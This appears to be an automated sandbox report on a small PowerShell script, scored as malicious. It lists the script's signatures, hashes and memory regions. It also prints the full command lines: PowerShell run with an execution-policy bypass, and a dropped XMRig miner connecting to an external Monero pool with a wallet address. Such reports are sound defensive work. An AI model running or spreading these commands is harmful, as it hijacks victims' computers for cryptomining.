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Analysis

  • max time kernel
    1791s
  • max time network
    1797s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/05/2024, 01:50

General

  • Target
    file01 - copia (13) - copia.ps1
  • Size 462B
  • Sample240528-b9dmesbe62
  • SHA256 b45546367df23b2459a55ffa753ad4d66f8588263f87c339fb81cde87c3ffba4
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\file01 - copia (13) - copia.ps1"
    1⤵
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4576
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
      "C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe" -o gulf.moneroocean.stream:10128 -u 45aHvZ4X3ZvdhLiEiP1cjsXmSkMNoM2QFYNmXCsoTRY9h2EwjtoYcfrVpEojtmBeg5cRsY9J82Lqp6hUanQ1Dsu4UNfKxdF
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4956

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_gm1fvwhq.f2i.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gm1fvwhq.f2i.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        xmrig.exe

        • Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
        • Size 9.1MB
        • SHA256 2025f4fe930440da147eecd24a368d3a2f3c1883c499186eb429e9d662c90fda
        • MD5 SHA1 SHA512 SSDEEP

        memory/4576-0-0x00007FFBF81B3000-0x00007FFBF81B5000-memory.dmp

        memory/4576-6-0x000002A352A10000-0x000002A352A32000-memory.dmp

        memory/4576-11-0x00007FFBF81B0000-0x00007FFBF8C71000-memory.dmp

        memory/4576-12-0x00007FFBF81B0000-0x00007FFBF8C71000-memory.dmp

        memory/4576-14-0x00007FFBF81B0000-0x00007FFBF8C71000-memory.dmp

        memory/4576-15-0x000002A3538F0000-0x000002A353902000-memory.dmp

        memory/4576-16-0x000002A352A40000-0x000002A352A4A000-memory.dmp

        memory/4576-53-0x00007FFBF81B3000-0x00007FFBF81B5000-memory.dmp

        memory/4576-54-0x00007FFBF81B0000-0x00007FFBF8C71000-memory.dmp

        memory/4576-56-0x00007FFBF81B0000-0x00007FFBF8C71000-memory.dmp

        memory/4956-78-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-85-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-49-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-50-0x000001852D7D0000-0x000001852D7F0000-memory.dmp

        memory/4956-51-0x000001852D7F0000-0x000001852D810000-memory.dmp

        memory/4956-52-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-55-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-57-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-58-0x000001852D7D0000-0x000001852D7F0000-memory.dmp

        memory/4956-59-0x000001852D7F0000-0x000001852D810000-memory.dmp

        memory/4956-60-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-61-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-62-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-63-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-64-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-65-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-66-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-67-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-68-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-69-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-70-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-71-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-72-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-73-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-74-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-75-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-76-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-77-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-47-0x000001852D760000-0x000001852D780000-memory.dmp

        memory/4956-79-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-80-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-81-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-82-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-83-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-84-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-48-0x000001852D7B0000-0x000001852D7D0000-memory.dmp

        memory/4956-86-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-87-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-88-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-89-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-90-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-91-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-92-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-93-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-94-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-95-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-96-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-97-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-98-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-99-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-100-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-101-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-102-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-103-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-104-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-105-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-106-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-107-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-108-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-109-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-110-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-111-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-112-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-113-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-114-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-115-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-116-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-117-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp

        memory/4956-118-0x00007FF6DA9E0000-0x00007FF6DB613000-memory.dmp